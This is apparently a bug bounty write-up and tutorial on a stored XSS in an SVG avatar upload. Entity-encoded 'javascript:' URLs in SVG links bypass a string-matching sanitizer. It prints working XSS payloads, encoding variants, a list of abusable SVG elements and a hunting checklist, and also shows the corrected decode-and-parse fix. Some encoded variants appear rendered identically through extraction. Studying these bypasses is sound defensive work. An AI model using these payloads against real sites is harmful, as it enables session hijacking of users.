Quick answer
A real €1200 stored XSS report in a POE (Proof-of-Existence) application. The backend's sanitizer had a shallow post-incident fix: it filtered the literal string javascript: but not variants with HTML entity encoding. Final bypass: an embedded SVG with <a href="javascript:alert()"> — the : (entity for :) passes the filter as a string, but the browser decodes it at render time → execution. Lesson: filters based on string matching are weak; serious sanitizers (DOMPurify v3+) parse the DOM and filter at the attribute/protocol level.
The context — a POE app with SVG avatar upload
The app allowed uploading an SVG avatar (vector → scales better than PNG). Sanitization at the backend level with Python's bleach library, with a custom whitelist:
allowed_tags = ["svg", "path", "circle", "rect", "polygon", "a", "g"]
allowed_attrs = {"*": ["fill", "stroke", "d", "href", "transform"]}
You were as naive as any dev: if it passes the filter → render directly in <div class="avatar"> with innerHTML. What could go wrong?
First attempt — SVG onload
Obvious payload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</svg>
The backend strips onload (it's not in allowed_attrs). Clean render with no XSS.
Second attempt — <script> embedded
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
The backend strips <script> (not in allowed_tags).
Third attempt — <a href="javascript:">
This is where it gets interesting:
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
The backend passed <a> and href (both whitelisted), but detected javascript: and stripped it:
def clean_href(value):
if "javascript:" in value.lower():
return ""
return value
A naive string match. Here is the bug in the fix.
The bypass — HTML entity encoding
HTML accepts entity encoding in attributes. : can be written :, :, ::
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
Why it works
- Backend sanitizer sees the attribute
href="javascript:alert(...)"as a string. It looks for the literaljavascript:in lowercase. No match (the character is:, not:). It passes the filter. - Browser parses the HTML/SVG. On seeing
:inside an HTML attribute, it decodes it to:. The final attribute, internally, ishref="javascript:alert(...)". - User clicks the SVG → the browser executes the
javascript:URL → XSS in the domain's context.
[!info] Double decoding HTML decoding happens before the attribute value's interpretation. Any filter matching against the raw attribute string is broken if it doesn't decode entities first.
Variants that also passed
<!-- decimal entity -->
href="javascript:alert(1)"
<!-- hex entity -->
href="javascript:alert(1)"
<!-- named entity -->
href="javascript:alert(1)"
<!-- tab escape -->
href="java	script:alert(1)"
<!-- newline escape -->
href="java script:alert(1)"
<!-- case + entity mix -->
href="jaVaSCRipt:alert(1)"
Any of these passed the filter.
<!-- PAYWALL -->Why <a> inside SVG works
SVG supports <a> as a hyperlink element (xlink:href in SVG 1.x, href in SVG 2). The <a> wraps a <circle> (or any shape) → the whole region of the shape is clickable. The href URL is processed on click.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">
<rect width="100" height="100"/>
</a>
</svg>
xlink:href is deprecated but browsers still support it → another bypass if the sanitizer only looks for a literal href.
Auto-click vector
SVG <animate> allows auto-triggering actions — combined with <a> + an entity-encoded URL it can be zero-click if the browser allows the animation trigger in a standalone SVG:
<svg>
<a href="javascript:alert(1)">
<set attributeName="href" to="..." begin="0s"/>
</a>
</svg>
In the specific POE app, the avatar renders but doesn't "animate" → the bypass required a manual click from the user. Even so, severity High because it was stored and reproducible for any viewer of the profile.
The report — writing the bypass
The report was concise, focused on the bypass of the fix:
## Summary
The sanitization fix for prior XSS issue (string-match of `javascript:`)
is bypassable via HTML entity encoding of the colon character.
## Steps to reproduce
1. Upload SVG avatar with content:
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
2. Server accepts (filter does not detect : as `:`)
3. Visit attacker profile → click avatar → JS executes in target.com origin
## Root cause
sanitizer.py:clean_href() string-matches against `javascript:` in raw input
but HTML entities (: → `:`) decode at render time.
## Recommended fix
Use DOM-based sanitization (DOMPurify, bleach with css_sanitizer) which
parses HTML/SVG and filters at protocol level (rejecting any javascript:
URI scheme regardless of encoding).
Severity argumentation
- Stored: ✓ (persistent avatar on the profile).
- Cross-user: ✓ (any viewer of the profile).
- Auth context: ✓ (victim's cookies on execution).
- Same-origin: ✓ (avatar served from target.com).
CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → 8.7 High.
Reward: €1,200.
The correct fix
The security team responded:
# Before (vulnerable)
def clean_href(value):
if "javascript:" in value.lower():
return ""
return value
# After (correct)
from urllib.parse import urlparse
import html
def clean_href(value):
# Decode HTML entities first
decoded = html.unescape(value)
# Parse URL and check scheme
try:
parsed = urlparse(decoded)
if parsed.scheme.lower() in ("javascript", "data", "vbscript", "file"):
return ""
except Exception:
return ""
return value
Decode entities before comparing + check the parsed scheme against an explicit allowlist.
Generalizable patterns
Any string-match-based filter is bypassable
If the sanitizer does "javascript:" in input, look for:
- Entity encoding:
:,:,: - URL encoding:
%3A(in a URL context) - Whitespace tricks:
java\tscript:,java\nscript: - Case variation:
JaVaScRiPt: - Backslash escapes (some parsers):
\j\a\v\a\s\c\r\i\p\t:
SVG is the gold mine for XSS bypass
SVG is XML embedded in HTML — the parsers sometimes differ. List of abusable elements:
| Element | Vector |
|---|---|
<svg onload> | Direct |
<svg><script> | Embedded JS |
<svg><a href="js:"> | Link-based |
<svg><foreignObject><iframe> | Embedded HTML |
<svg><animate> + animateTransform | Time-based |
<svg><use href="data:..."> | xlink data URI |
Insufficient whitelist without context
Allowing <a href> looks safe — but href accepts javascript:, data:, file:. The whitelist has to be per-attribute and per-protocol, not per-tag.
Hunting checklist
- SVG upload endpoints — always try SVG payloads.
- Sanitizer-based apps: identify which library they use (bleach, DOMPurify, sanitize-html), version + config.
- String-match filters: bypass with entity encoding, case, whitespace.
-
<a>withhref: tryjavascript:,data:text/html,...,vbscript:. - Encoding variants:
:,:,:,%3A. - xlink:href in SVG if they only filter
href. - Where is the render?
innerHTML(XSS) vs<img>(limited) vs sandboxed<iframe>(mitigated). - Stored vs reflected: does the SVG persist in the avatar/profile?
- Auto-trigger possible?
<animate>,<set>,onload(if it passes). - Document the bypass of the previous fix with emphasis (increases the bounty).
Related labs
Practice SVG XSS, sanitizer bypass and entity encoding in stored XSS labs.
Practice this in a lab
Stored Xss Svg Href Javascript
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
Los 7 patterns de SVG que bypassean DOMPurify cuando el sanitizer está mal configurado — todos detectables en <30 segundos con Burp.
€7.99/mo · cancel anytime
Related articles
Stored XSS via SVG with href javascript: in chat — reclassification of Self-XSS
An SVG payload uploaded as an attachment. Filter bypassed. Rendered inline in the main context. Any chat participant is exposed on click.
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM clobbering — overriding global JS variables to bypass sanitizers
How to use DOM clobbering (name/id collisions) to overwrite global JS variables and bypass sanitizers like DOMPurify, achieving XSS where innerHTML is blocked by default.